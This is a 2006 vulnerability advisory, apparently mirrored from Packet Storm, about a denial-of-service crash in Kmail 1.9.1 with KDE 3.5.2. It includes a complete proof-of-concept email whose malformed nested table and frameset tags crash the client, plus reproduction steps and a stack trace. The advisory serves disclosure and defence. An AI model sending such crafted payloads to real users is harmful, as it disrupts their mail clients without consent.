Kmail-1.9.1.txt

🗓️ 20 Oct 2006 00:00:00Reported by nnpType

packetstorm🔗 packetstormsecurity.com👁 21 Views

Kmail HTML parsing vulnerability cras

`=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=  
SilentHack.co.uk Vulnerability Research  
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=  
  
Background:  
Kmail is a HTML compatible email client that comes installed by  
default with the KDE desktop. This DOS requires HTML parsing to be  
enabled. This can be done in Kmail by going to Settings -> Configure  
Kmail ->Security -> and tick Prefer HTML to Plain Text.  
  
Description:  
Kmail can be crashed due to incorrectly parsing certain HTML elements.  
In this case the a combination of the <table> and <frameset> tags are  
incorrectly parsed leading to a segmentation fault. A sample mail can  
be found here http://silenthack.co.uk/nnp/exploits/kmail/tableCrash .  
  
----  
  
Return-Path: <nnp@torvalds>  
X-Original-To: test  
Delivered-To: test@torvalds  
Received: by torvalds (Postfix, from userid 1000)  
id D854F83BF5; Tue, 26 Sep 2006 16:06:36 +0100 (IST)  
To: test@torvalds  
Content-Type: text/html  
Subject: testing  
Message-Id: <20060926150636.D854F83BF5@torvalds>  
Date: Tue, 26 Sep 2006 16:06:36 +0100 (IST)  
From: nnp@torvalds (nnp)  
Status: R  
X-Status: NC  
X-KMail-EncryptionState:   
X-KMail-SignatureState:   
X-KMail-MDN-Sent:   
  
  
<HTML>  
<HEAD>  
  
<TABLE <FRAMESET ROWS>  
  
----  
To reproduce the crash, copy the above mail into your local mail spool  
file (e.g /var/mail/`whoami`) or send it to yourself (without the  
email headers obviously). Double click the new mail and when it opens  
close it again. On closing it the program should crash and give the  
following stack trace:  
  
[KCrash handler]  
#6 0xb790a334 in free () from /lib/tls/i686/cmov/libc.so.6  
#7 0xb7aab8b1 in operator delete () from /usr/lib/libstdc++.so.6  
#8 0xb7aab8fd in operator delete[] () from /usr/lib/libstdc++.so.6  
#9 0xb6cd05d8 in non-virtual thunk to  
DOM::HTMLObjectBaseElementImpl::~HTMLObjectBaseElementImpl() () from  
/usr/lib/libkhtml.so.4  
#10 0x084de030 in ?? ()  
#11 0x084d03e8 in ?? ()  
#12 0x00000001 in ?? ()  
#13 0xb6e43aec in ?? () from /usr/lib/libkhtml.so.4  
#14 0x084d03e8 in ?? ()  
#15 0x00000000 in ?? ()  
  
  
Version information:  
Tested on KDE 3.5.2 and kmail 1.9.1.  
  
Credits:  
nnp  
  
--   
http://silenthack.co.uk  
`

20 Oct 2006 00:00Current

7.4High risk

Vulners AI Score7.4